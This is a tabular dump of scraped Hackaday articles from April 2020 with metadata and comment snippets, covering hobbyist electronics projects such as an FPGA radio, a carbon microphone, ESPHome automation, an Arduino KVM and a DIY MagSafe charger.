url stringlengths 37 208 | title stringlengths 4 148 | author stringclasses 173
values | publish_date stringclasses 1
value | categories listlengths 0 12 | tags listlengths 0 27 | featured_image stringlengths 0 272 | content stringlengths 0 56.1k | comments_count int64 0 900 | scraped_comments_count int64 0 50 | comments listlengths 0 50 | scraped_at float64 1.76B 1.76B |
|---|---|---|---|---|---|---|---|---|---|---|---|
https://hackaday.com/2020/04/18/a-hoverboard-as-an-assistive-device/ | A Hoverboard As An Assistive Device | Jenny List | [
"Medical Hacks",
"The Hackaday Prize"
] | [
"2020 Hackaday Prize",
"assistive device",
"assistive technolgy",
"firmware",
"hoverboard",
"motor controller"
] | Assistive devices for people with disabilities can make an inestimable difference to their lives, but with a combination of technology, complexity, and often one-off builds for individual needs, they can be eye-wateringly expensive. When the recipient is a young person who may grow out of more than one device as they mature, this cost can be prohibitive. Some way to cut down on the expense is called for, and [
Phil Malone
]
has identified the readily available hoverboard
as a possible source of motive power for devices that need it.
Aside from being a children’s toy, hoverboards have been well and truly hacked; we’ve featured them in
Hacky Racers
, and as
hacker camp transport
. But this is an application which demands controllability and finesse not needed when careering round a dusty field. He’s taken that work and built upon it to produce a firmware that he calls
HUGS
, designed to make the hoverboard motors precisely controllable. It’s a departure from the norm in hoverboard hacking, but perhaps it can open up new vistas in the use of these versatile components.
There is much our community can do when it comes to improving access to assistive technologies, and we hope that this project can be one of the success stories. We would however caution every reader to avoid falling into the
engineer savior
trap.
The
Hackaday
Prize2020
is Sponsored by: | 5 | 4 | [
{
"comment_id": "6238405",
"author": "Hyratel",
"timestamp": "2020-04-19T08:42:31",
"content": "Before anybody chimes in with “proper medical devices are extensively tested and certified”reread the section that says “When the recipient is a young person who may grow out of more than one device as th... | 1,760,373,516.773994 | ||
https://hackaday.com/2020/04/18/wood-and-carbon-rods-used-for-this-handsome-and-effective-microphone/ | Wood And Carbon Rods Used For This Handsome And Effective Microphone | Dan Maloney | [
"classic hacks",
"Misc Hacks"
] | [
"carbon",
"granule",
"microphone",
"oak",
"Pine",
"pots",
"PSTN",
"rod",
"telco",
"transducer"
] | Anyone who was active in the phreaking scene or was even the least bit curious about the phone system back in the Ma Bell days no doubt remembers the carbon capsule microphone in the mouthpiece of many telephone handsets. With carbon granules sandwiched between a diaphragm and a metal plate, they were essentially sound-driven variable resistors, and they worked well enough to be the standard microphone for telephony for decades.
In an attempt to reduce complicated practices to their fundamentals, [Simplifier] has undertaken
this surprisingly high-fidelity carbon microphone build
that hearkens back to the early days of the telephone. It builds on
previous work
that was more proof of concept but still impressive. In both builds, the diaphragm of the microphone is a thin piece of wood, at first carved from a single block of softwood, then later improved by attaching a thin piece of pine to a red oak frame. The electrical side of the mic has four carbon rods running from the frame to the center of the diaphragm, where they articulate in a carbon block with small divots dug into it. As the diaphragm vibrates, the block exerts more or less pressure on the rods, varying the current across the mic and reproducing the sound. It works quite well, judging by the video after the break.
Congratulations to [Simplifier] for another great build and top-notch craftsmanship. We’ve seen homebrew
vacuum tubes
,
conductive glass
, and
solar cells
from him before, which sort of makes him the high-tech version of
Primitive Technology
. We’re looking forward to whatever comes next. | 20 | 7 | [
{
"comment_id": "6238384",
"author": "Thopter",
"timestamp": "2020-04-19T06:35:19",
"content": "So are the leads then connected straight to a speaker, or does it require some circuitry to record or play the sound?",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id"... | 1,760,373,516.838661 | ||
https://hackaday.com/2020/04/18/an-fpga-and-a-few-components-can-make-a-radio/ | An FPGA And A Few Components Can Make A Radio | Jenny List | [
"FPGA",
"Radio Hacks"
] | [
"am",
"fpga",
"radio",
"sdr"
] | There was a time when making a radio receiver involved significant work, much winding of coils, and tricky alignment of circuitry. The advent of Software Defined Radio (SDR) has moved a lot of this into the domain of software, but there is of course another field in which a radio can be created via code. [
Alberto Garlassi
] has
created a radio receiver for the AM and HF bands with a Lattice MachXO2 FPGA
and minimal external components.
He describes it as an SDR, which given that it’s created from Verilog, is a term that could be applied to it. But instead of using an SDR topology of ADC and digital signal processing, it implements a surprisingly traditional direct conversion receiver.
It has a quadrature AM demodulator which has a passing similarity to an SDR with I and Q phased signals, but that’s where the similarity ends. Frequency selection is via an oscillator controlled from a serial port, and there is even a PWM amplifier on board that can drive a speaker. The result can be seen in the video below, and as you can hear the direct conversion with quadrature demodulator approach makes for a very effective AM receiver.
If this is a little much but you still fancy a radio with minimal components, you should
have a look at the Silicon Labs range of receiver chips
. | 18 | 9 | [
{
"comment_id": "6238332",
"author": "dendad",
"timestamp": "2020-04-18T23:23:11",
"content": "Pretty clever :)",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6238336",
"author": "Drone",
"timestamp": "2020-04-18T23:35:03",
"content": "Jenny List ... | 1,760,373,516.901812 | ||
https://hackaday.com/2020/04/18/3d-printed-speakers-with-many-lessons-learned/ | 3D Printed Speakers With Many Lessons Learned | Danie Conradie | [
"digital audio hacks",
"Musical Hacks"
] | [
"3D printed enclosure",
"3d printed speaker",
"audio",
"fail",
"speakers"
] | Although we all wish that our projects would turn out perfect with no hiccups, the lessons learned from a frustrating project can sometimes be more valuable than the project itself. [Thomas Sanladerer] found this to be the case while trying to build the five
satellite speakers
for a 5.1 surround sound system, and fortunately shared the entire process with us in all its messy glory.
[Thomas] wanted something a little more attractive than simple rectangular boxes, so he settled on a very nice curved design with few flat faces and no sharp corners, 3D printed in PLA. Inside each is an affordable broadband speaker driver and tweeter, with a crossover circuit to improve the sound quality and protect the drivers. The manufacturer of the drivers,
Visatron
, provides very nice speaker simulation software to select the appropriate drivers and design the crossover circuit. The front of each speaker consisted of a 3D printed frame, covered with material from a cut-up T-shirt. These covers attach to the main body using magnets and really look the part.
After printing, [Thomas] soaked all the parts in water to clean of the PVA support structures but discovered too late that the outer surfaces are not watertight and a lot of water had seeped into the parts. In an attempt to dry them he left them in the sun for a while which ended up warping some parts, so he had to reprint them anyway. The main bodies were printed in two parts and then glued together. This required a lot of sanding to smooth out the glue joints, and many cycles of paint and sanding to get rid of the layer lines. When assembling the different pieces, he found that many parts did not fit together, which he suspects was caused by incorrect calibration on the delta-bot printer he was using.
In the end, the build took almost two years, as [Thomas] needed breaks between all the frustration, and eventually only used one of the speakers. We’re glad he shared the messy parts of the project, which will hopefully spare someone else a bit of trouble in a project.
Listening to a high-quality audio setup is always a pleasure, and we’ve covered several projects from audiophiles, including affordable
DML speakers
, and
3D printed speaker drivers
. | 24 | 6 | [
{
"comment_id": "6238310",
"author": "The Gambler",
"timestamp": "2020-04-18T20:10:50",
"content": "should have watched hexibase’s videos on 3d printing boxes his are much better all the way around",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6238355",
... | 1,760,373,517.14952 | ||
https://hackaday.com/2020/04/18/fixing-an-agilent-oscilloscope-power-supply/ | Fixing An Agilent Oscilloscope Power Supply | Jenny List | [
"Repair Hacks"
] | [
"agilent",
"oscilloscope",
"power supply",
"repair"
] | We should all be so lucky as [Salvaged circuitry], who scored a cheap Agilent oscilloscope from an online auction. Of course, its low price had a reason behind it, the ‘scope didn’t work. At fault was its power supply, the repair of which was documented in the video below.
These ‘scopes have relatively straightforward 12 V power supplies, extremely similar to off-the-shelf parts. The video is an interesting primer in switch-mode power supply repair, as the obvious failure of the filter capacitor and a MOSFET is traced further to the PSU controller chip. We see a new capacitor mounted proud of the board to reduce the risk of heat damage, and then some careful solder rework to save some lifted pads.
The result, a working oscilloscope. Maybe we’d have hacked in another 12 V supply, but given that this is a piece of test equipment perhaps it’s best to stay as close to the original spec as possible. As a parting shot he shows us an equivalent power supply, and promises us a side-by-side test in a future video.
These ‘scopes aren’t as popular in our circles as the cheaper Rigol range, but it’s worth remembering that
they also have a budget model
. | 22 | 8 | [
{
"comment_id": "6238293",
"author": "Dane",
"timestamp": "2020-04-18T17:38:02",
"content": "Awesome video, really nice to see those macro shots",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6238296",
"author": "Anthony Kouttron",
"timestamp... | 1,760,373,517.088903 | ||
https://hackaday.com/2020/04/20/roll-your-own-automation-with-esphome/ | Roll Your Own Automation With ESPHome | Donald Papp | [
"home hacks",
"Microcontrollers"
] | [
"diy",
"ESP32-CAM",
"esphome",
"smarthome",
"sonoff",
"tasmota"
] | There are several different paths to a smart home, and [Marcus] eventually settled on
using ESPHome and ESP8266/ESP32 based devices
to create a complete DIY smart home solution which covers his garage door, sprinklers, LED strips, light bulbs, and outlets. There’s even an experimental (and very economical) ESP32-CAM based camera, shown here.
In fact, [Marcus]’s write-up could double as a sort of reference design. If you’re curious about
ESPHome
, be sure to read what he has to say because he explains exactly how he configured each device and any challenges he encountered in the process.
Beyond the software guidance, the post is also a great resource on how to flash a new firmware onto several different smart devices. [Marcus] provides nicely labeled images of the boards that show where you need to connect your programmer, which just might save you some trouble down the line. Though he did manage to set fire to one of the bulbs, so keep an eye out for that.
Tasmota
is another open source option for controlling ESP8266-based devices, and if you’d like to explore that direction don’t forget that
flashing Sonoff devices with Tasmota firmware recently got much, much easier
. | 17 | 6 | [
{
"comment_id": "6238676",
"author": "zack",
"timestamp": "2020-04-20T09:31:42",
"content": "great will try it :)",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6238700",
"author": "shellspeck",
"timestamp": "2020-04-20T11:59:25",
"co... | 1,760,373,517.264749 | ||
https://hackaday.com/2020/04/19/magnetic-bubble-memory-farewell-tour/ | Magnetic Bubble Memory Farewell Tour | Al Williams | [
"Parts",
"Retrocomputing"
] | [
"bubble memory",
"delay line memory",
"intel",
"obsolete hardware",
"storage",
"twistor"
] | There’s something both satisfying and sad about seeing an aging performer who used to pack a full house now playing at a local bar or casino. That’s kind of how we felt looking at [Craig’s]
modern-day bubble memory build
. We totally get, however, the desire to finish off that project you thought would be cool four decades ago and [Craig] seems to be well on the way to doing just that.
If you don’t recall, bubble memory was going to totally wipe out the hard drive industry back in the late 1970s and early 1980s. A byproduct of research on twistor memory, the technology relied on tiny magnetic domains or bubbles circulating on a thin film. Bits circulated to the edge of the film where they were read using a magnetic pickup. Then a write head put them back at the other edge to continue their journey. It was very much like the old delay line memories, but with tiny magnetic domains instead of pressure waves through mercury.
We don’t know where [Craig] got his Intel 7110 but they are very pricey nowadays thanks to their rarity. In some cases, it’s cheaper to buy some equipment that used bubble memory and steal the devices from the board. You can tell that [Craig] was very careful working his way to testing the full board.
Because these were state-of-the-art in their day, the chips have extra loops and would map out the bad loops. Since the bubble memory is nonvolatile, that should be a one time setup at the factory. However, in case you lost the map, the same information appears on the chip’s label. [Craig’s] first test was to read the map and compare it to the chip’s printed label. They matched, so that’s a great sign the chip is in good working order and the circuit is able to read, at least.
We’ve talked about
bubble memory before
along with many other defunct forms of storage. There were a few military applications that took advantage of the non-mechanical nature of the device and that’s why the Navy’s
NEETS program
has a section about them. | 13 | 8 | [
{
"comment_id": "6238630",
"author": "Allan-H",
"timestamp": "2020-04-20T05:22:30",
"content": "“It was very much like the old delay line memories”A shift register would be a better analogy. The bubbles would move from one site to the next only when commanded to do so by the magnetic field (from th... | 1,760,373,517.202774 | ||
https://hackaday.com/2020/04/19/gain-an-understanding-of-injection-moldings-design-gotchas/ | Gain An Understanding Of Injection Molding’s Design Gotchas | Donald Papp | [
"Tool Hacks"
] | [
"dfm",
"educational",
"injection molding",
"manufacturing",
"product design"
] | When it comes to manufacturing, sheet metal and injection molding make the world go ’round. As a manufacturing method, injection molding has its own range of unique design issues and gotchas that are better to be aware of than not. To help with this awareness, [studiored] has a series of blog posts describing injection molding design issues, presented from the perspective of how to avoid and address them.
Design of screw bosses demonstrating conflict between molder’s guidelines and vendor’s recommendations. Compromising between both is a science and an art.
Because injection molding involves heat,
warp is one issue to be aware of
and its principles will probably be familiar to anyone with nitty-gritty experience in 3D printing.
Sink marks
are also an issue that comes down to differential cooling causing problems, and can ruin a smooth and glossy finish. Both of these play a role in
how best to design bosses
.
Minimizing and simplifying undercuts
(similar to overhangs in 3D printer parlance) is a bit more in-depth, because even a single undercut means much more complex tooling for the mold. Finally, because injection molding depends on reliably molding, cooling, and ejecting parts,
designing parts with draft
(a slight angle to aid part removal) can be a fact of life.
[studiored] seems to have been working overtime on sharing tips for product design and manufacture on
their blog
, so it’s worth keeping an eye on it for more additions. We mentioned earlier that much of the manufacturing world revolves around injection molding and sheet metal, so to round out your knowledge
we published a primer on everything you need to know about the art and science of bending sheet metal
. With a working knowledge of the kinds of design issues that affect these two common manufacturing methods, you’ll have a solid foundation for any forays into either world. | 11 | 6 | [
{
"comment_id": "6238615",
"author": "Leandro Heck",
"timestamp": "2020-04-20T02:55:18",
"content": "Nice dude, I appreciate a lot that you have shared this.",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6238623",
"author": "Gregg Eshelman",
"timestam... | 1,760,373,517.01857 | ||
https://hackaday.com/2020/04/19/hackaday-links-april-19-2020/ | Hackaday Links: April 19, 2020 | Dan Maloney | [
"Hackaday Columns",
"Hackaday links"
] | [
"breadboard",
"Circuit Sculpture",
"Covid-19",
"drone",
"dystopia",
"ebook",
"enforcement",
"hackaday links",
"iss",
"jumper",
"launch",
"rocket",
"social distancing",
"Soyuz",
"textbook"
] | While the COVID-19 pandemic at least seems to be on a downward track, the dystopian aspects of the response to the disease appear to be on the rise. As if there weren’t enough busybodies and bluenoses shaming their neighbors for real or imagined quarantine violations on social media, now we have the rise of
social-distancing enforcement drones
. These have been in use in hot zones around the world, of course, but have only recently arrived in the US. From New Jersey to Florida, drones are buzzing about in search of people not cowering in fear in their homes and blaring messages about how they face fines and arrest for seeking a little fresh air and sunshine. We’re all in favor of minimizing contact with potentially infected people, but it seems like these methods might be taking things a bit too far.
If you somehow find yourself with some spare time and want to increase your knowledge, or at least expand your virtual library, Springer Publishing has some exciting news for you.
The journal and textbook publisher has made over 400 ebook titles available for free download
. We had a quick scan over the list, and while the books run the gamut from social sciences to astrophysics, there are plenty of titles that are right in the wheelhouse of most Hackaday readers. There are books on
power electronics
,
semiconductor physics
, and
artificial intelligence
, as well as tons more. They all seem to be recent titles, so the information isn’t likely to be too dated. Give the list a once-over and happy downloading.
Out of all the people on this planet, the three with the least chance of being infected with SARS-CoV-2
blasted off from Kazakhstan this week on Soyuz MS-16 to meet up with the ISS
. The long-quarantined crew of Anatoly Ivanishin, Ivan Vagner, and Chris Cassidy swapped places with the Expedition 62 crew, who returned to Earth safely in the Soyuz MS-15 vehicle. It’s a strange new world they return to, and we wish them and their ISS colleagues all the best. What struck us most about this mission, though, was some
apparently surreptitiously obtained footage of the launch
from a remarkably dangerous position. We saw some analysis of the footage, and based on the sound delay the camera was perhaps as close as 150 meters to the launchpad. It’s hard to say if the astronauts or the camera operator was braver.
And finally, because neatness counts, we got this great tip on
making your breadboard jumpers perfectly straight
. There’s something satisfying about breadboard circuits where the jumpers are straight and exactly the length the need to be, and John Martin’s method is so simple you can’t help but use it. He just rolls the stripped jumpers between his bench and something flat; he uses a Post-it note pad but just about anything will do. The result is satisfyingly straight jumpers, ready to be bent and inserted. We bet this method could be modified to work with the stiffer wire normally used in circuit sculptures like those of Mohit Bhoite; he went into some depth about his methods during
his Supercon talk last year
, and it’s worth watching if you haven’t seen it yet. | 29 | 10 | [
{
"comment_id": "6238583",
"author": "AKA the A",
"timestamp": "2020-04-19T23:27:33",
"content": "1st off, at least 1 of the Soyuz crew is a cosmonaut ;-)2nd – the people on top of the huge potential bomb have a very good escape system that can (and has proven that it will, if needed) take them over... | 1,760,373,517.463857 | ||
https://hackaday.com/2020/04/19/diy-magsafe-charger-feeds-off-12-v-solar-battery/ | DIY Magsafe Charger Feeds Off 12 V Solar Battery | Donald Papp | [
"how-to",
"laptops hacks"
] | [
"12 volt",
"adapter",
"apple",
"boost converter",
"dc-dc",
"diy",
"macbook",
"magsafe"
] | [Steve Chamberlin] has a spiffy solar-charged 12 V battery that he was eager to use to power his laptop, but ran into a glitch. His MacBook Pro uses Apple’s MagSafe 2 connector for power, but plugging the AC adapter into the battery via a 110 VAC inverter seemed awfully inefficient. It would be much better to plug it into the battery directly, but that also was a problem. While Apple has a number of DC power adapters intended for automotive use, none exist for the MagSafe 2 connector [Steve]’s mid-2014 MacBook Pro uses. His solution was to
roll his own MagSafe charger with 12 VDC input
.
Since MagSafe connectors are proprietary, his first duty was to salvage one from a broken wall charger. After cleaning up the wires and repairing any frayed bits, it was time to choose a DC-DC converter to go between the MagSafe connector and the battery. The battery is nominally 12 volts, so the input of the DC-DC converter was easy to choose, but the output was a bit uncertain. Figuring out what the MagSafe connector expects took a little educated guesswork.
The original AC adapter attached to the charger claimed an output of 20 volts, another Apple adapter claimed a 14.85 V output, and a third-party adapter said 16.5 volts. [Steve] figured that the MagSafe connectors seemed fine with anything in the 15 to 20 V range, so it would be acceptable to use a 12 V to 19 V DC-DC boost converter which he had available. The result worked just fine, and [Steve] took measurements to verify that it is in fact much more efficient than had he took the easy way out with the inverter.
MagSafe has been
displaced by USB-C
nowadays, but there are plenty of MagSafe devices still kicking around. In a pinch, keep in mind that
a little bit of filing or grinding is all that’s needed to turn MagSafe 1 into MagSafe 2
. | 18 | 4 | [
{
"comment_id": "6238569",
"author": "Aqib Idrees",
"timestamp": "2020-04-19T22:49:10",
"content": "The voltage is dependent of the wattage of the MagSafe. There’s a One Wire communication in the tip of the wire which tells mac the available wattage.14.5V @ 45W16.5V @ 65W18.5V @ 75W",
"parent_id... | 1,760,373,516.966123 | ||
https://hackaday.com/2020/04/19/huge-3d-printed-lego-go-kart-makes-you-the-minifig/ | Huge 3D-Printed LEGO Go Kart Makes You The Minifig | Mike Szczys | [
"Toy Hacks",
"Transportation Hacks"
] | [
"gokart",
"kart",
"lego",
"minifigure"
] | The LEGO Technic line is definitely the hacker’s flavor of LEGO. It brings a treasure trove of engineering uses that make axles, gears, pulleys, and motors a thing. The only problem is that it’s the inanimate minifigures having all of the fun. But not if [Matt Denton] has something to say about it. He’s building a huge
3D-printed go-kart with pieces scaled up 8.43 times the size of their LEGO equivalents
. That’s large enough for an adult to fit!
You may remember seeing [Matt’s]
previous attempt at something like this
about three years back, but that was only around half the size of this one. He printed a blue kart for his nephew, but it didn’t quite scale up enough even for a child to ride. This one is impressively large, but that raises some interesting fabrication issues
The long beams that make up the frame of the vehicle and the axle piece (the black rods with an X-shaped profile) used for the steering column are far too long to print in one go. So the axle was printed in two parts with a square channel down the center that hides a single run of square tubing. But the beams are much more interesting. Printed in two parts, there’s a dovetail-shaped connector piece that holds the top joint together, and a hidden bolt for the bottom. Glue is also used along the joint to bolster the holding power of the mechanical fasteners.
In general, the weight and friction on this scaled up version need many considerations. [Matt] explains where he’s made design decisions — like perpendicular axle connectors that have proper bearings — to include mostly-hidden metal parts and fasteners to ensure the plastic doesn’t fail. The thing looks awesome, but just wait until you see the assembly process. It’s sooooo satisfying to watch the modular parts snap into place. The project’s still in progress and before he’s done he plans to add an electric motor to make the kart go.
Even if you’re not scaling a model up to full size, giant is a guaranteed recipe for fun. Case in point, [Matt’s]
enlarged LEGO fork lift is a delight
. | 7 | 2 | [
{
"comment_id": "6238507",
"author": "Ricardo Ruiz Diaz",
"timestamp": "2020-04-19T17:34:44",
"content": "How long does an averagepizzapiece take to make?, beautiful congratulations ….",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6238509",
"author"... | 1,760,373,517.517957 | ||
https://hackaday.com/2020/04/19/kvm-uses-many-arduinos/ | KVM Uses Many Arduinos | Bryan Cockfield | [
"Arduino Hacks",
"computer hacks",
"Peripherals Hacks"
] | [
"arduino",
"keyboard",
"kvm",
"leonardo",
"pro micro",
"scroll lock",
"serial",
"uno"
] | The Arduino platform is one of the most versatile microcontroller boards available, coming in a wide variety of shapes and sizes perfect for everything from blinking a few LEDs to robotics to entire home automation systems. One of its more subtle features is the ability to use its serial libraries to handle keyboard and mouse duties. While this can be used for basic HID implementations, [Nathalis] takes it a step further by
using a series of Arduinos as a KVM switch
; although admittedly without the video and mouse functionality yet.
To start, an Arduino Uno accepts inputs from a keyboard which handles the incoming serial signals from the keyboard. From there, two Arduino Pro Micros are attached in parallel and receive signals from the Uno to send to their respective computers. The scroll lock key, which doesn’t do much of anything in modern times except upset Excel spreadsheeting, is the toggle switch between the two outputs. Everything is standard USB HID, so it should be compatible with pretty much everything out there. All of the source code and schematics are available in the project’s repository for anyone who wants to play along at home.
Using an Arduino to emulate a USB input device doesn’t have to be all work and no play, the same basic concept
can also be used to build custom gaming controllers
. | 43 | 22 | [
{
"comment_id": "6238451",
"author": "Jeroen",
"timestamp": "2020-04-19T14:05:54",
"content": "I noticed from the source code that it looks like the actual keyboard is expected to run in PS/2 mode, so the Data – / + labels are a bit incorrect.",
"parent_id": null,
"depth": 1,
"replies": ... | 1,760,373,517.658691 | ||
https://hackaday.com/2020/04/18/the-game-that-launched-1000-hackers/ | The Game That Launched 1,000 Hackers | Elliot Williams | [
"Hackaday Columns",
"News"
] | [
"conways game of life",
"game of life",
"inspiration",
"John Horton Conway",
"Mentoring",
"newsletter"
] | John Conway passed away this week
. Even if you don’t know much about mathematics, you will probably know nearly everyone’s favorite cellular automata ruleset: Conway’s “Game of Life”. It’s so much a part of our cultural history, that proto-hacker Eric Scott Raymond
suggested using the glider as the hacker emblem
.
The idea that a very simple set of rules, applied equally and everywhere, could result in “life” was influential in my growth as a young hacker, and judging from the comments on our article about Conway, I’m not alone. But I won’t lie: I was a kid and thought that it could do
much
more than make pretty patterns on the screen. I was both right and wrong.
Although amazingly complex machines can be built in Conway’s Life, just
check out this video
for proof, in the end no grand unifying theory of cellular automata has emerged. As a research topic Conway’s chosen field of mathematics, cellular automata is a backwater. It didn’t really
go anywhere
. Or did it?
Implementing Conway’s Life in BASIC on a Tandy Color Computer was one of the first things that launched me on my geeky path. It ranks with
MENACE: the matchbox-based machine learning algorithm from the 1960’s
and an introduction to Markov Chains in the form of a
random text generator
in my young algorithmic life, all of which I incidentally read about in
Martin Gardner’s
column in “Scientific American”. Conway’s Life, along with some dumb horse-race game, also taught me about bad random-number generators: the screen would populate the same “randomly” every time on the old CoCo.
So maybe Conway didn’t want to be remembered just for his “Life” because it was a bit of a mathematical dead-end. But in terms of its impact on the world, an entire generation of hackers, and my own personal life, it was able to fill up significantly more than a screen full of pixels. Here’s to Conway, his “Life”, and everyone else who is inspiring the next. You’re not just gliders, you’re
glider guns
!
This article is part of the Hackaday.com newsletter, delivered every seven days for each of the last 200+ weeks. It also includes our favorite articles from the last seven days that you can see on
the web version of the newsletter
.
Want this type of article to hit your inbox every Friday morning?
You should sign up
!
[Game of Life example shown in this article is
John Conway’s Game of Life – 1.0
written in Python by Nick Jarvis and Nick Wayne] | 6 | 5 | [
{
"comment_id": "6238282",
"author": "Feinfinger — superschurkiger geht nimmer!",
"timestamp": "2020-04-18T15:55:22",
"content": "It’s fascinating what classic GoL can do like life in life or a digital clock and I sure only have seen the nose of he swimming ursus maritimus, but there are some extens... | 1,760,373,517.795473 | ||
https://hackaday.com/2020/04/18/get-back-out-there-robotically/ | Get Back Out There, Robotically | Bryan Cockfield | [
"Robots Hacks"
] | [
"cardboard",
"inexpensive",
"platform",
"robot",
"smartibot",
"telepresence"
] | When interacting with reality at a distance is the best course of action, we turn to robots. Whether that’s exploring the surface of Venus, the depths of the ocean, or (for the time being) society at large, it’s often better to put a robot out there than an actual human being. We can’t all send robots to other planets, but we can easily get them in various other places with telepresence robots.
This tiny telepresence robot
comes to us from [Ross] at [Crafty Robot] who is using their small Smartibot platform as a basis for this tiny robot. The smartibot drives an easily-created cardboard platform, complete with wheels, and trucks around a smartphone of some sort which handles the video and network capabilities. The robot can be viewed and controlled from any other computer using a suite of web applications that can be found on the project page.
The Smartibot platform is an inexpensive platform that we’ve seen do other things
like drive an airship
, and the creators are hoping that as many people as possible can get some use out of this quick-and-easy telepresence robot if they really need something like this right now. The kit seems like it would be useful for a lot of other fun projects as well. | 8 | 4 | [
{
"comment_id": "6238244",
"author": "LordNothing",
"timestamp": "2020-04-18T12:52:38",
"content": "you: “im back to work in robot form”your boss: “good. now go move those crates”",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6238372",
"author": "Ne... | 1,760,373,517.568965 | ||
https://hackaday.com/2020/04/18/mathematical-proof-the-eagle-in-the-usps-logo-is-fast/ | Mathematical Proof The Eagle In The USPS Logo Is FAST! | Daniel Bogdanoff | [
"Misc Hacks"
] | [
"aeronautics",
"algebra",
"fluid dynamics",
"math",
"rocket science",
"United States Postal Service",
"USPS"
] | The logo for the United States Postal Service is a mean-looking eagle. But a true fluid dynamics geek might look at it and realize that eagle is moving so fast it’s causing a shock wave. But just how fast is it moving? [Andrew Higgins] asked and answered this question, posting
his analysis of the logo’s supersonic travel
. He claims it’s Mach 4.9, but, how do we know? Science!
It turns out if something is going fast enough, you can tell just how fast with a simple picture! We’ve all seen pictures of jets breaking the sound barrier, this gives us information about the jet’s speed.
How does it work?
Think about it like this: sound moves at roughly 330 m/s on Earth at sea level. If an object moves through air at that velocity, the air disturbances are transmitted as sound waves. If it’s moving faster than sound, those waves get distributed downstream, behind the moving object. The distance of these waves behind the moving object is dependent on the object’s speed.
This creates a line of these interactions known as a “Mach line.” Find the angle difference of the Mach line and the direction of travel and you have the “
Mach angle
” (denoted by α or µ).
There is a simple formula for determining the speed of an object using the Mach angle, the speed of sound (
a
), and an object’s velocity (
v
):
sin(µ) = a / v
. The ratio of
v
to
a
is known as the
Mach number
, (M). If an object is going exactly the speed of sound, it’s going Mach 1 (because v = a).
Since Mach number (M) is
v / a
, we can plug it into the formula from above as
1 / M
and use [Andrew]’s calculation shown in the image at the top of the article for a Mach angle (µ) of ~11.7°:
The real question is, did the USPS chose Mach 4.93 as a hint to some secret government postal project? Or, was it simply a 1993
logo
designer’s attempt to “capture the ethos of a modern era which continues today”? | 33 | 18 | [
{
"comment_id": "6238212",
"author": "Dave",
"timestamp": "2020-04-18T08:49:42",
"content": "To put it into terms of an actual speed, you would need to know the density of the medium in which it is moving.What’s the density of red tape?",
"parent_id": null,
"depth": 1,
"replies": [
... | 1,760,373,517.741626 | ||
https://hackaday.com/2020/04/17/model-rocket-launcher-is-so-serious-it-has-a-briefcase/ | Model Rocket Launcher Is So Serious, It Has A Briefcase | Kristina Panos | [
"Arduino Hacks"
] | [
"arduino",
"arduino mega",
"emergency stop",
"launch code",
"model rocket",
"rocket launcher"
] | What could be more thrilling than launching a complex rocket that you built yourself? For starters, launching it with literally anything better than the stock ignition system would be a step in the right direction.
How about a briefcase full of fantastically fun overkill?
[FastEddy59] is in the middle of building a model rocket complete with a Thrust Vector Control (TVC) system to help with stabilization. Much to our delight, he’s designed an equally ambitious controller to spice up the launch sequence with security codes and a physical key. And what’s a launch controller without a giant emergency stop button to shut down everything? Incomplete, if you ask us.
Under the carbon fiber-wrapped acrylic hood, there’s an Arduino MEGA engine and an NRF24 LoRa module for transmission to the rocket. There’s even a DHT11 temperature sensor to verify that launch conditions are ideal. It’s still a work in progress with plenty of features to come, like fancier labels and plenty of launch-appropriate sound files for the hidden speaker. There’s a lot to this case, and [FastEddy59]’s video brief is ready and waiting on the pad after the break.
[FastEddy59] plans to hold the first launch in a few months, and we sincerely hope he
outfits the rocket with a camera
. | 24 | 13 | [
{
"comment_id": "6238189",
"author": "Dom",
"timestamp": "2020-04-18T05:55:28",
"content": "Hope he’s got a camera pointing at the flamey end of the rocket. I still enjoy watching shuttle launches on youtube – those few seconds from -10 to +30 or more still give me goose bumps.Come to think of it, h... | 1,760,373,517.896969 | ||
https://hackaday.com/2020/04/17/54-motorcycle-saved-by-electric-conversion/ | ’54 Motorcycle Saved By Electric Conversion | Bryan Cockfield | [
"Transportation Hacks"
] | [
"allstate",
"bike",
"classic",
"controller",
"custom",
"ebike",
"electric",
"hub motor",
"motorcycle",
"puch",
"restoration",
"vintage"
] | While it’s nice to be able to fully restore something vintage to its original glory, this is not always possible. There might not be replacement parts available, the economics of restoring it may not make sense, or the damage to parts of it might be too severe. [onyxmember] aka [Minimember Customs] was in this position with an old ’54 Puch Allstate motorcycle frame that he found with no engine, rusty fuel tank, and some other problems, so he did the next best thing to a full restoration.
He converted it to electric
.
This build uses as much of the original motorcycle frame as possible and [onyxmember] made the choice not to weld anything extra to it. The fuel tank was cut open and as much rust was cleaned from it as possible to make room for the motor controller and other electronics. A hub motor was laced to the rear wheel, and a modern horn and headlight were retrofitted into the original headlight casing. Besides the switches, throttle, and voltmeter, everything else looks original except, of course, the enormous 72V battery hanging off the frame where the engine used to be.
At a power consumption of somewhere between three and five kilowatts, [onyxmember] reports that this bike likely gets somewhere in the range of 55 mph, although he can’t know for sure because it doesn’t have a speedometer. It’s the best use of an old motorcycle frame we can think of, and we also like the ratrod look, but you don’t necessarily need to modify a classic bike for this.
A regular dirt bike frame will do just fine
. | 29 | 13 | [
{
"comment_id": "6238187",
"author": "Vinalon",
"timestamp": "2020-04-18T05:25:29",
"content": "Cool! With a hub motor, I guess you never have to replace a chain.I cannot wait for an electric dual-sport with at least 200 miles of range to be feasible.",
"parent_id": null,
"depth": 1,
"re... | 1,760,373,517.960555 | ||
https://hackaday.com/2020/04/17/rgb-kitchen-uses-pots-to-stir-up-color/ | RGB Kitchen Uses Pots To Stir Up Color | Kristina Panos | [
"Arduino Hacks",
"LED Hacks",
"Lifehacks"
] | [
"arduino",
"led",
"potentiometer",
"RGB LED"
] | Anyone who has done anything with RGB LEDs knows that their ability to display pretty much any color is somehow both the best and worst thing about them. How do you get it right? How do you make your results repeatable? [Thomas] has the answer. He dug around in the ol’ parts cupboard, found a few pots, and got to work making this stay-home stew of a project —
an on-demand RGB LED color mixer
.
